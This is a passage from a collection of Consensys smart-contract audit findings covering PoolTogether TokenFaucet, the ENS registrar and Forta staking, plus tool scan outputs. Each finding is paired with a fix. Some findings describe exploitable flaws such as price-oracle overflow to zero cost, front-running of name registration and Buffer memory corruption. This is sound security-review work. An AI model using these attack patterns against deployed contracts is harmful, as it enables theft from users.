have an unexpected outcome ", "body": " Description The TokenFaucet contract can only disburse tokens to the users if it has enough balance. When the contract is running out of tokens, it stops dripping. code/pool-contracts/contracts/token-faucet/TokenFaucet.sol:L119-L138 uint256 assetTotalSupply = asset.balanceOf(address(this)); uint256 availableTotalSupply = assetTotalSupply.sub(totalUnclaimed); uint256 newSeconds = currentTimestamp.sub(lastDripTimestamp); uint256 nextExchangeRateMantissa = exchangeRateMantissa; uint256 newTokens; uint256 measureTotalSupply = measure.totalSupply(); if (measureTotalSupply > 0 && availableTotalSupply > 0 && newSeconds > 0) { newTokens = newSeconds.mul(dripRatePerSecond); if (newTokens > availableTotalSupply) { newTokens = availableTotalSupply; uint256 indexDeltaMantissa = measureTotalSupply > 0 ? FixedPoint.calculateMantissa(newTokens, measureTotalSupply) : 0; nextExchangeRateMantissa = nextExchangeRateMantissa.add(indexDeltaMantissa); emit Dripped( newTokens ); The owners of the faucet can decide to refill the contract so it can disburse tokens again. If there s been a lot of time since the faucet was drained, the lastDripTimestamp value can be far behind the currentTimestamp. In that case, the users can instantly withdraw some amount (up to all the balance) right after the refill. Recommendation To avoid uncertainty, it s essential to call the drip function before the refill. If this call is made in a separate transaction, the owner should make sure that this transaction was successfully mined before sending tokens for the refill. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/pooltogether/"}, {"title": "5.2 Gas Optimization on transfers ", "body": " Description In TokenFaucet, on every transfer _captureNewTokensForUser is called twice. This function does a few calculations and writes the latest UserState to the storage. However, if lastExchangeRateMantissa == exchangeRateMantissa, or in other words, two transfers happen in the same block, there are no changes in the newToken amounts, so there is an extra storage store with the same values. Examples deltaExchangeRateMantissa will be 0 in case two transfers ( no matter from or to) are in the same block for a user. /pool-contracts/contracts/token-faucet/TokenFaucet.sol uint256 deltaExchangeRateMantissa = uint256(exchangeRateMantissa).sub(userState.lastExchangeRateMantissa); uint128 newTokens = FixedPoint.multiplyUintByMantissa(userMeasureBalance, deltaExchangeRateMantissa).toUint128(); userStates[user] = UserState({ lastExchangeRateMantissa: exchangeRateMantissa, balance: uint256(userState.balance).add(newTokens).toUint128() }); Recommendation Return without storage update if lastExchangeRateMantissa == exchangeRateMantissa, or by another method if deltaExchangeRateMantissa == 0. This reduces the gas cost for active users (high number of transfers that might be in the same block) ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/pooltogether/"}, {"title": "5.3 Handle transfer tokens where from == to ", "body": " Description In TokenFaucet, when calling beforeTokenTransfer it should also be optimized when to == from. This is to prevent any possible issues with internal accounting and token drip calculations. /pool-contracts/contracts/token-faucet/TokenFaucet.sol ... if (token == address(measure) && from != address(0)) { //add && from != to drip(); ... Recommendation As ERC20 standard, from == to can be allowed but check in beforeTokenTransfer that if to == from, then do not call _captureNewTokensForUser(from); again. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/pooltogether/"}, {"title": "5.4 Redundant/Duplicate checks ", "body": " Description There are a few checks (require) in TokenFaucet that are redundant and/or checked twice. Examples _dripRatePerSecond > 0 checked twice, no need to check it in initialize pool-contracts/contracts/token-faucet/TokenFaucet.sol require(_dripRatePerSecond > 0, \"TokenFaucet/dripRate-gt-zero\"); asset = _asset; measure = _measure; setDripRatePerSecond(_dripRatePerSecond); function setDripRatePerSecond(uint256 _dripRatePerSecond) public onlyOwner { require(_dripRatePerSecond > 0, \"TokenFaucet/dripRate-gt-zero\"); lastDripTimestamp == uint32(currentTimestamp) and newSeconds > 0 are basically the same check. measureTotalSupply can never be < 0, as in the if statement enforces that /pool-contracts/contracts/token-faucet/TokenFaucet.sol#L111-L117 function drip() public returns (uint256) { uint256 currentTimestamp = _currentTime(); // this should only run once per block. if (lastDripTimestamp == uint32(currentTimestamp)) { return 0; ... uint256 newSeconds = currentTimestamp.sub(lastDripTimestamp); ... if (measureTotalSupply > 0 && availableTotalSupply > 0 && newSeconds > 0) { ... uint256 indexDeltaMantissa = measureTotalSupply > 0 ? FixedPoint.calculateMantissa(newTokens, measureTotalSupply) : 0; Recommendation Remove the redundant checks to reduce the code size and complexity. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/pooltogether/"}, {"title": "5.5 Unnecessary use of upgradability ", "body": " Resolution These contracts are part of OpenZeppelin Contracts Upgradeable. Description Libraries such as SafeMath and SafeCast should not be upgradable as they should be used as pure functions. Upgradable libraries used in TokenFaucet contract: SafeMathUpgradeable SafeCastUpgradeable IERC20Upgradeable Recommendation Remove the upgradability functionality from any part of the system that is unnecessary, as they add complexity and centralization power to the admins. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/02/pooltogether/"}, {"title": "3.1 Memory corruption in Buffer ", "body": " Resolution Issue has been closed in ensdomains/buffer#3 Description Although out of scope for this audit, the audit team noticed a memory corruption issue in the Buffer library. The init function is as follows: contracts/Buffer.sol:L22-L41 /** @dev Initializes a buffer with an initial capacity. @param buf The buffer to initialize. @param capacity The number of bytes of space to allocate the buffer. @return The buffer, for chaining. / function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) { if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(32, add(ptr, capacity))) return buf; Note that memory is reserved only for capacity bytes, but the bytes actually requires capacity + 32 bytes to account for the prefixed array length. Other functions in Buffer assume correct allocation and therefore corrupt nearby memory. Although we didn t immediately spot an ENS exploit for this vulnerability, we consider any memory corruption issue to be important to address. Example A simple test shows the memory corruption issue: contract Test { using Buffer for Buffer.buffer; function test() external pure { Buffer.buffer memory buffer; buffer.init(1); // foo immediately follows buffer.buf in memory bytes memory foo = new bytes(0); assert(foo.length == 0); buffer.append(\"A\"); // \"A\" == 65, gets written to the high order byte of foo.length assert(foo.length == 65 * 256**31); Remediation Allocate an additional 32 bytes as follows, to account for storing the uint256 size of the bytes array: mstore(0x40, add(ptr, add(capacity, 32))) ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.2 SimplePriceOracle.price is susceptible to integer overflow ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#17 by using Description SimplePriceOracle.price is as follows: ethregistrar/contracts/SimplePriceOracle.sol:L26-L28 function price(string calldata /*name*/, uint /*expires*/, uint duration) external view returns(uint) { return duration * rentPrice; This is susceptible to a simple overflow attack, e.g. setting the duration to 2**256/rentPrice to give yourself a price of 0. Severity note: It s unclear whether the SimplePriceOracle is expected to be used in practice, but the severity is set here under the assumption that the code may be used somewhere. Remediation Use SafeMath or explicitly check for the overflow. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.3 ETHRegistrarController.register is vulnerable to front running ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#18 Description commit() and then register() appears to serve the purpose of preventing front running. However, because the commitment is not tied to a specific owner, it serves equally well as a commitment for a front-running attacker. Example Alice calls commit(makeCommitment(\"mydomain\", )). 10 minutes later, Alice submits a transaction to register(\"mydomain\", Alice, ..., ). Eve observes this transaction in the transaction pool. Eve submits register(\"mydomain\", Eve, ..., ) with a higher gas price and wins the race. Remediation Commitments should commit to owners in addition to names. This way an attacker can t repurpose a previous commitment. (They would have to buy on behalf of the original committer.) As an alternative, if it s undesirable to pin down owner, the commitment could include msg.sender instead (only allowing the original committer to call register). E.g. the following (and corresponding changes to callers): function makeCommitment( string memory name, address owner, /* or perhaps committer/sender */ bytes32 secret pure public returns(bytes32) bytes32 label = keccak256(bytes(name)); return keccak256(abi.encodePacked(label, owner, secret)); ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.4 SOA record check on the wrong domain ", "body": " Resolution During the audit, this issue was discovered by the client development team and already fixed in ensdomains/root#25. Description The SOA record check in Root.getAddress is meant to happen on the root TLD, but in the version of the code audited, it is performed instead on _ens.nic.. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.5 Work towards a trustless model for ENS ", "body": " Resolution Acknowledged by client team. As stated, this is a long-term issue for which there is no immediate fix, but work is already in progress. Description The ENS registry itself is owned by a multisig wallet owned by a number of reputable Ethereum community members. That multisig wallet can do just about anything, up to and including directly taking over any existing or future registered names. It s important to note that even if we as a community trust the current owners of the multisig wallet, we also need to consider the possibility of their Ethereum private keys being compromised by malicious actors. Remediation This centralized control is by design, and the multisig owners have been chosen carefully. However, we do recommend\u2014as is already the plan\u2014that the multisig wallet s power be reduced in future updates to the system. Changes made by that wallet are already quite transparent to the community, but future enhancements might include requiring a waiting period for any changes or disallowing certain types of changes altogether. In the meantime, wherever possible, the trust model should be made clear so that users understand what guarantees they do and do not have when interacting with ENS. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.6 Consider replacing the Buffer implementation ", "body": " Resolution There will be no immediate fix for this, but the client team is working on collaborating to get a better audited Description The audit team uncovered two bugs in the Buffer library, one each in the only two functions that were looked at. (The library was in general not in scope for this audit.) One bug was a critical memory corruption bug. This calls into question how safe this library is to use in general. Remediation Consider using a different library, ideally one that has been fully tested and audited and that minimizes the use of inline assembly, particularly around memory allocation. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.7 Overzealous resizing in Buffer ", "body": " Resolution Issue has been closed in ensdomains/buffer#4 Description In the following code, the buffer is resized even when sufficient capacity is available to perform the write. The buf.buf.length term is unnecessary and leads to unnecessary resizing: contracts/Buffer.sol:L91-L95 function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) { require(len <= data.length); if (off + len > buf.capacity) { resize(buf, max(buf.capacity, len + off) * 2); Contrast with the calculation in a similar function: contracts/Buffer.sol:L206-L209 function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); Remediation Check just the condition if (off + len > buf.capacity) when deciding whether to resize the buffer. This will be a significant gas savings in the common case of reserving exactly the right capacity and then performing two append operations. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.8 Pending auctions in the legacy registrar don t result in proper ownership in ENS ", "body": " Resolution Addressed in ensdomains/ethregistrar#23 by reducing the waiting period to 28 days. Description If an auction has yet to be finalized in the legacy HashRegistrar at the time that the new, permanent .eth registrar is put in place, the auction winner doesn t get actual ownership of the ENS entry. The sequence of events would look like: Auction is started in the HashRegistrar for the name something.eth The new BaseRegistrarImplementation becomes the owner of the .eth root node in ENS. The auction is won. The auction winner calls finalizeAuction, which calls trySetSubnodeOwner, which fails to actually set subnode ownership (as the HashRegistrar no longer has ownership of the .eth root node). At this point, there s an owner of the deed for the name something.eth in the HashRegistrar, but the ENS subnode is unowned. It can t be transferred to the new registrar for 183 days, and the name can t be registered in the new registrar. The owner can get themselves out of this situation by calling releaseDeed in the HashRegistrar. If they want to avoid potentially losing their domain in the process, they can transfer the deed to a smart contract which can then release the deed and rent the same name in the new registrar atomically. Remediation Here are a few ideas of improvements to help in this situation: Discourage (or prevent, if possible) new auctions very close to the launch of the new registrar. Allow domains to be transferred before the 183-day waiting period but require rent payment in those cases. (Perhaps just use the existing grace period to have people renew?) Document the process for rescuing names that get stuck in this state, or better yet provide a tool for doing so. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.9 BaseRegistrarImplementation.acceptRegistrarTransfer should probably use the live modifier ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#19. Description Most external functions in BaseRegistrarImplementation have the live modifier, which ensures that they can only be called on the current ENS owner of the registrar s base address. The acceptRegistrarTransfer function does not have this modifier, which means names can be transferred to the new registrar even if it s not the proper registry owner. It s hard to think of a real-world example of why this is problematic, especially because the interim registrar appears to protect against this by only transferring to the ens.owner, but it seems safer to include the live modifier unless there s a specific reason not to. Remediation Add the live modifier to acceptRegistrarTransfer. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.10 Reconsider use of inline assembly in BytesUtils.sol ", "body": " Resolution Issue has been closed in ensdomains/dnssec-oracle#55 Description Root.sol imports and uses @ensdomains/dnssec-oracle/contracts/BytesUtils.sol for byte operations. BytesUtils.sol is mainly written in assembly. In general, inline assembly is concerning from a security perspective because it bypasses compiler checks and inhibits human code reasoning. e.g.readUint8(): function readUint8(bytes memory self, uint idx) internal pure returns (uint8 ret) { require(idx + 1 <= self.length); assembly { ret := and(mload(add(add(self, 1), idx)), 0xFF) Remediation Some of the functions in BytesUtil.sol can be written in Solidity without affecting the gas costs. readUint8() can be written as following Solidity code which functions the same: function readUint8(bytes memory self, uint idx) internal pure returns (uint8 ret) { return uint8(self[idx]); ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.11 BaseRegistrarImplementation.acceptRegistrarTransfer does not check for invalid names ", "body": " Resolution Short names will be manually canceled in the old registrar during the migration period. Note that this is still feasible with the reduced 28-day lock-up period. Description BaseRegistrarImplementation.acceptRegistrarTransfer does not explicitly check for invalid names. In the old registrar it is possible to register domain names with length less than 7 characters. However anyone can call HashRegistrar.invalidateName() to invalidate the registration and get half of the deed amount as an incentive. Assume that an invalid domain is registered in the old registrar and no one invalidates the registration (within the 183 days between the registrationDate and the transfer ETHRegistrarController.acceptRegistrarTransfer), it is possible to transfer the invalid domain to the new ENS registrar. Remediation Given that it is easy to check for invalid domains using a rainbow table for all possible <7 character domains, anyone can invalidate them before the new registrar goes live. Note that for the auctions starting right before the new registrar goes live, there will be a 183 days window in which anyone can call HashRegistrar.invalidateName() to invalidate the domain names. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.12 Sanity check around transferPeriodEnds ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#23 Description BaseRegistrarImplementation.acceptRegistrarTransfer has a hardcoded limit such that only domains registered 183 days ago can be transferred in. This imposes an implicit constraint on the transferPeriodEnds state variable. If the transfer period ends too soon after the new registrar is put in place, names that were just registered won t be transferrable during the transfer period (and will thus become available to be rented by another user). Remediation A sanity check in the constructor would help here, e.g.: require(_transferPeriodEnds > now + 183 days); Note that the true requirement is something more like The time between when this registrar becomes the ENS node owner of the .eth domain and the time of transferPeriodEnds must be at least 183 days plus a sufficient time window for late registrants to have a chance to perform the transfer. But it s hard to see a way to encode this precisely. A broad sanity check will at least avoid simple timing mistakes. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.13 StablePriceOracle.price has an unimportant integer underflow ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#20 Description ethregistrar/contracts/StablePriceOracle.sol:L57-L63 function price(string calldata name, uint /*expires*/, uint duration) view external returns(uint) { uint len = name.strlen(); require(len > 0); if(len > rentPrices.length) { len = rentPrices.length; uint priceUSD = rentPrices[len - 1].mul(duration); If the length of the rentPrices array is 0, then the last line above attempts to access rentPrices[2**256-1]. This will assert, but it might be more friendly (from a gas perspective) to revert in this case. Remediation A simple fix would be to move the require(len > 0) down until just before the array access. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.14 ETHRegistrarController.register should revert rather than silently fail ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#22 Description When called with an invalid commitment or unavailable domain, ETHRegistrarController.register refunds the sent ether and silently fails rather than reverting: ethregistrar/contracts/ETHRegistrarController.sol:L56-L64 function register(string calldata name, address owner, uint duration, bytes32 secret) external payable { // Require a valid commitment bytes32 commitment = makeCommitment(name, secret); require(commitments[commitment] + MIN_COMMITMENT_AGE <= now); // If the commitment is too old, or the name is registered, stop if(commitments[commitment] + MAX_COMMITMENT_AGE < now || !available(name)) { msg.sender.transfer(msg.value); return; register also has no return value, so it s difficult for a caller to know whether the register action succeeded or failed. Remediation It s probably better to use require(...) to handle these invalid cases. This is roughly equivalent because no state changes have been made before this early return, but it seems less error prone and clearer to callers about what happened. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "3.15 StringUtils.strlen could be rewritten without assembly ", "body": " Resolution Issue has been closed in ensdomains/ethregistrar#21 Description StringUtils.strlen uses inline assembly to walk through a UTF-8 string and count its character length. In general, inline assembly is concerning from a security perspective because it bypasses compiler checks and inhibits human code reasoning. Remediation Consider rewriting in Solidity, something similar to the following: function strlen(string memory s) internal pure returns (uint256) { uint256 i = 0; uint256 len; for (len = 0; i < bytes(s).length; len++) { byte b = bytes(s)[i]; if (b < 0x80) { i += 1; } else if (b < 0xE0) { i += 2; ... return len; 4 Threat Model The creation of a threat model is beneficial when building smart contract systems as it helps to understand the potential security threats, assess risk, and identify appropriate mitigation strategies. This is especially useful during the design and development of a contract system as it allows to create a more resilient design which is more difficult to change post-development. A threat model was created during the audit process in order to analyze the attack surface of the contract system and to focus review and testing efforts on key areas that a malicious actor would likely also attack. It consists of two parts: a high-level analysis that help to understand the attack surface and a list of threats that exist for the contract system. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "4.1 Overview", "body": " The following assets are managed by contracts and likely targets for an attacker: Registered domain names (e.g. foo.eth) Ether, in the form of rent paid to the ETHRegistrarController The following actors have access to the system to perform an attack: System owners (ENS itself, registrars, controllers, price oracles) DNS domain/subdomain owners, who can update DNSSEC records Users who are registering, renewing, and transferring domains The following describes the surface area available to attackers: DNSSEC records Registrars and controllers Root contract Ethereum private keys Because they were out of scope for this audit, we did not consider some interesting targets such as the DNSSEC oracle, DNSSEC-based registrar, the interim .eth registrar, or the multisig wallet used for ENS ownership. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "4.2 Threat Analysis", "body": " The following table contains a list of identified threats, along with their mitigations: user may try to register/renew a domain for less than the expected price overflow on the rent price / manipulate the price oracle SafeMath mitigates some potential math errors user may try to mount denial-of-service attacks on other users (e.g. censor their purchases/renewals) network DoS long purchase windows and grace periods user may try to snipe a domain front-running a commit/reveal scheme attempts to prevent this but is ineffective (see section 3), a generous grace period prevents race conditions on expiration user may try to register .eth TLD update DNSSEC records Root disallows changes to that node Root owner may steal domains, manipulate prices, etc. ENS root swaps the controller/registrar with malicious code such manipulation would be transparent today, and future updates may limit the root owners powers domain owners may take over already-owned subdomains change DNSSEC to replace registrar for a domain this is allowed by design 5 Tool-based analysis The issues from the tool based analysis have been reviewed and the relevant issues have been listed in chapter 3 - Issues. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "5.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. Where possible, we ran the full MythX analysis. MythX is still in beta, and where analysis failed, we fell back to running Mythril Classic, a large subset of the functionality of MythX. Below is the raw output of MythX and Mythril Classic vulnerability scans: In order to run MythX, Root.sol contract was flattened. flat_root.sol line numbers reflect on the output of truffle-flattener contracts/Root.sol. Title: Floating Pragma Head: A floating pragma is set. Description: It is recommended to make a conscious choice on what version of Solidity is used for compilation. Currently any version equal or greater than \"0.4.24\" is allowed. Source code: flat_root.sol 1:0 -------------------------------------------------- pragma solidity ^0.4.24; -------------------------------------------------- ================================================== Title: Shadowing State Variables Head: State variable shadows another state variable. Description: The state variable \"CLASS_INET\" in contract \"DNSClaimChecker\" shadows another state variable with the same name \"CLASS_INET\" in contract \"Root\". Source code: flat_root.sol 869:4 -------------------------------------------------- uint16 constant CLASS_INET = 1 -------------------------------------------------- ================================================== Title: Shadowing State Variables Head: State variable shadows another state variable. Description: The state variable \"TYPE_TXT\" in contract \"DNSClaimChecker\" shadows another state variable with the same name \"TYPE_TXT\" in contract \"Root\". Source code: flat_root.sol 870:4 -------------------------------------------------- uint16 constant TYPE_TXT = 16 -------------------------------------------------- ================================================== Title: Shadowing State Variables Head: Local variable shadows a state variable. Description: The local variable \"owner\" in contract \"ENS\" shadows the state variable with the same name \"owner\" in contract \"Ownable\". Source code: flat_root.sol 20:58 -------------------------------------------------- address owner -------------------------------------------------- flat_root.sol 22:36 -------------------------------------------------- address owner -------------------------------------------------- ================================================== Title: Shadowing State Variables Head: Local variable shadows a state variable. Description: The local variable \"owner\" in contract \"Root\" shadows the state variable with the same name \"owner\" in contract \"Ownable\". Source code: flat_root.sol 1012:44 -------------------------------------------------- address owner -------------------------------------------------- flat_root.sol 1037:36 -------------------------------------------------- address owner -------------------------------------------------- ================================================== Title: Shadowing State Variables Head: Local variable shadows a state variable. Description: The local variable \"oracle\" in contract \"DNSClaimChecker\" shadows the state variable with the same name \"oracle\" in contract \"Root\". Source code: flat_root.sol 881:29 -------------------------------------------------- DNSSEC oracle -------------------------------------------------- ================================================== BaseRegistrarImplementation Mythril Classic results for BaseRegistrarImplementation are as follows. flat_BaseRegistrarImplementation.sol line numbers reflect on the output of truffle-flattener contracts/BaseRegistrarImplementation.sol ETHRegistrarController Mythril Classic results for ETHRegistrarController are as follows. flat_ETHRegistrarController.sol line numbers reflect on the output of truffle-flattener contracts/ETHRegistrarController.sol. ==== Multiple Calls in a Single Transaction ==== SWC ID: 113 Severity: Medium Contract: ETHRegistrarController Function name: rentPrice(string,uint256) PC address: 996 Estimated Gas Usage: 5179 - 79151 Multiple sends are executed in one transaction. Consecutive calls are executed at the following bytecode offsets: Offset: 2947 Offset: 3202 Try to isolate each external call into its own transaction, as external calls can fail accidentally or deliberately. -------------------- In file: flat_ETHRegistrarController.sol:1467 function rentPrice(string memory name, uint duration) view public returns(uint) { bytes32 hash = keccak256(bytes(name)); return prices.price(name, base.nameExpires(uint256(hash)), duration); -------------------- ==== Dependence on predictable environment variable ==== SWC ID: 116 Severity: Low Contract: ETHRegistrarController Function name: register(string,address,uint256,bytes32) PC address: 3552 Estimated Gas Usage: 2056 - 6247 Sending of Ether depends on a predictable variable. The contract sends Ether depending on the values of the following variables: block.timestamp block.timestamp block.timestamp Note that the values of variables like coinbase, gaslimit, block number and timestamp are predictable and/or can be manipulated by a malicious miner. Don't use them for random number generation or to make critical decisions. -------------------- In file: flat_ETHRegistrarController.sol:1498 msg.sender.transfer(msg.value) -------------------- ==== Integer Overflow ==== SWC ID: 101 Severity: High Contract: ETHRegistrarController Function name: register(string,address,uint256,bytes32) PC address: 5332 Estimated Gas Usage: 2333 - 9254 The binary addition can overflow. The operands of the addition operation are not sufficiently constrained. The addition could therefore result in an integer overflow. Prevent the overflow by checking inputs or ensure sure that the overflow is caught by an assertion. -------------------- In file: flat_ETHRegistrarController.sol:1411 add(mload(s), ptr) -------------------- ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "5.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: ethregistrar contracts/BaseRegistrarImplementation.sol 36:36 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 60:42 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 65:15 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 73:16 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 73:48 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 75:23 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 83:39 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 85:15 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 89:47 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 114:37 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 118:35 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members contracts/ETHRegistrarController.sol 53:63 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 54:34 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 61:64 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members 64:58 warning Avoid using 'now' (alias to 'block.timestamp'). security/no-block-members contracts/StringUtils.sol 15:8 error Avoid using Inline Assembly. security/no-inline-assembly 22:12 error Avoid using Inline Assembly. security/no-inline-assembly \u2716 2 errors, 15 warnings found. root No issues found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "5.3 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Files Description Table root/contracts/Migrations.sol eac3bb098bace681296263c037b30123fd46e01a root/contracts/Ownable.sol b596da7ad9b5c92a119268e05a5f2190659de8d3 root/contracts/Root.sol 94c5fd45635c6d78cae15903bdf565e2c587bdfa ethregistrar/contracts/BaseRegistrar.sol dfadfc8a35024069ff66cbc4a82b67dc48129eab ethregistrar/contracts/BaseRegistrarImplementation.sol a1e04ce66a9588063155591b59cd695d2d35cabe ethregistrar/contracts/DummyOracle.sol e1dab33211d55e02874ae2510e5e773e13056939 ethregistrar/contracts/ETHRegistrarController.sol 7cb180a1d5102efd2acc04b0b518848b6127846e ethregistrar/contracts/Migrations.sol b6732a145e4cb6841945488f591b1cf383a6441e ethregistrar/contracts/PriceOracle.sol 3257acda730f294f19984163f9fe4a19eabdef4d ethregistrar/contracts/SafeMath.sol 5effc6db2209b2bf2d49abe4ad1ac247e106f8d9 ethregistrar/contracts/SimplePriceOracle.sol fc11bff8c93e8471b8d8478f1a14b7f43fff2eef ethregistrar/contracts/StablePriceOracle.sol 892333542a757ba6089c5c3d19d00b337cb0da78 ethregistrar/contracts/StringUtils.sol 4d784bb26b409cfd8ed841f43c4e0ffbfddc450b ethregistrar/contracts/_TestDeps.sol 2077d541fedbd889d2f814c5c51aa046078f566d Contracts Description Table Function Name Visibility Mutability Modifiers Migrations Implementation Public setCompleted Public restricted upgrade Public restricted Ownable Implementation Public transferOwnership Public onlyOwner isOwner Public NO Root Implementation Ownable Public proveAndRegisterTLD External NO setSubnodeOwner External onlyOwner setRegistrar External onlyOwner registerTLD Public NO setResolver Public onlyOwner setOwner Public onlyOwner setTTL Public onlyOwner getLabel Internal \ud83d\udd12 getAddress Internal \ud83d\udd12 getSOAHash Internal \ud83d\udd12 BaseRegistrar Implementation ERC721, Ownable addController External NO removeController External NO nameExpires External NO available Public NO register External NO renew External NO reclaim External NO acceptRegistrarTransfer External NO BaseRegistrarImplementation Implementation BaseRegistrar Public ownerOf Public NO addController External onlyOwner removeController External onlyOwner nameExpires External NO available Public NO register External live onlyController renew External live onlyController reclaim External live acceptRegistrarTransfer External NO DummyOracle Implementation Public set Public NO read External NO ETHRegistrarController Implementation Ownable Public rentPrice Public NO valid Public NO available Public NO makeCommitment Public NO commit Public NO register External NO renew External NO setPriceOracle Public onlyOwner withdraw Public onlyOwner Migrations Implementation Public setCompleted Public restricted upgrade Public restricted PriceOracle Interface price External NO SafeMath Library mul Internal \ud83d\udd12 div Internal \ud83d\udd12 sub Internal \ud83d\udd12 add Internal \ud83d\udd12 mod Internal \ud83d\udd12 SimplePriceOracle Implementation Ownable, PriceOracle Public setPrice Public onlyOwner price External NO DSValue Interface read External NO StablePriceOracle Implementation Ownable, PriceOracle Public setOracle Public onlyOwner setPrices Public onlyOwner price External NO StringUtils Library strlen Internal \ud83d\udd12 Legend Function can modify state Function is payable Root Control Flow 6 Test Coverage Measurement Testing is implemented using Truffle. 12 tests are included for the Root contract, and they all pass. 30 tests are included for the .eth permanent registrar, and they all pass. We were unable to obtain code coverage numbers for the tests, but the audit team s overall impression is that testing covers a high percentage of code branches. That said, the testing is weak, in particular regarding negative test cases and edge cases. As a specific example, changing the following in ETHRegistrarController.renew causes no test failures, which shows a serious lack of coverage: // OLD: require(msg.value >= cost); // NEW: require(msg.value > 0); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/03/ens-permanent-registrar/"}, {"title": "5.1 didTransferShares function has no access control modifier ", "body": " Resolution The concerned function has now been restricted to be only called by 146 with final commit hash as Description The staked tokens (shares) in Forta are meant to be transferable. Similarly, the rewards allocation for these shares for delegated staking is meant to be transferable as well. This allocation for the shares owner is tracked in the StakeAllocator. To enable this, the Forta staking contract FortaStaking implements a _beforeTokenTransfer() function that calls _allocator.didTransferShares() when it is appropriate to transfer the underlying allocation. code/contracts/components/staking/FortaStaking.sol:L572-L585 function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { for (uint256 i = 0; i < ids.length; i++) { if (FortaStakingUtils.isActive(ids[i])) { uint8 subjectType = FortaStakingUtils.subjectTypeOfShares(ids[i]); if (subjectType == DELEGATOR_NODE_RUNNER_SUBJECT && 